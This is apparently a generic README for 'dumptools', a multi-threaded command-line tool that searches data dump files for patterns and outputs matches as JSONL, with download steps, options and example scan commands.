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🚀 dumptools - Quickly Analyze Your Data Dumps

🛡️ Overview

dumptools is a powerful command-line application designed to help you triage data dumps efficiently. With dumptools, you can easily convert data combinations into grouped JSONL files. It can also scan large data sets by using advanced methods to locate specific information quickly. The output includes essential details like the file name, line number, search term, timestamp, and content of the data. The application offers various settings for paths, thread counts, and case sensitivity.

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🚀 Getting Started

Follow the steps below to download and run dumptools. No technical knowledge is required.

🖥️ System Requirements

Operating Systems: Windows 10 or higher, macOS 10.14 or higher, Linux (any modern distribution)
Hardware: Minimum 4 GB RAM, 1 GHz processor
Disk Space: At least 100 MB available

📥 Download & Install

Visit the Releases Page Go to the Releases Page to find the latest version of dumptools.
Choose Your Version Look for the most recent version listed. You will see different asset files based on your operating system.
Download the File Click on the appropriate file for your system to start the download. For example:
- For Windows, download dumptools-<version>-windows.exe.
- For macOS, download dumptools-<version>-macos.
- For Linux, download dumptools-<version>-linux.
Run the Application After downloading, locate the file in your downloads folder and execute it.
- On Windows, double-click the .exe file.
- On macOS, double-click the .dmg or use Terminal to run the application.
- On Linux, open a terminal and type ./dumptools-<version>-linux to run the application.

🛠️ Configuration Options

Before you start using dumptools, familiarize yourself with its configuration options:

File Path: Specify the path to your data dump file or directory.
Thread Count: Set the number of threads to use for processing (default is 4).
Case Sensitivity: Choose whether your search should be case-sensitive.

📊 How to Use dumptools

Using dumptools is straightforward. Below are some common commands:

Basic Command: To scan a file, open your terminal or command prompt and type:
```
dumptools scan <path_to_your_file>
```

Advanced Options: You can include additional options in your command:

dumptools scan <path_to_your_file> --threads <number_of_threads> --case <sensitive|insensitive>

Output Format: The application outputs results in JSONL format, making it easy to manage and analyze the data later.

🌟 Example Usage

To demonstrate how to use dumptools effectively, here is an example command:

dumptools scan /path/to/data_dump.txt --threads 8 --case sensitive

This command scans the specified file using 8 threads and will search with case sensitivity.

📋 Features

Multi-threaded Scanning: Processes large data sets quickly using multiple threads.
Aho-Corasick Method: This advanced search method efficiently finds multiple patterns simultaneously.
Custom Output: Saves results in JSONL format for easy readability and analysis.

🪄 Troubleshooting

If you encounter issues while using dumptools, here are some common problems and solutions:

File Not Found: Ensure the file path you provided exists. Double-check for typos.
Permission Denied: Make sure you have the required permissions to access the file or directory.
Unexpected Results: Verify your search terms and settings for accuracy.

💬 Community Support

If you have questions or need assistance, you can reach out to the dumptools community:

GitHub Issues: Post questions and issues on our GitHub Issues page.
Discussion Forum: Engage with other users for tips and tricks.

🔗 Additional Resources

Documentation: For in-depth guides, visit the Documentation section.
Example Files: Sample data files are available in the repository to test the application.

👥 Contributors

Thank you to everyone who has contributed to dumptools! Your support helps us improve this tool for everyone.

Don’t hesitate to jump in and participate in making dumptools even better!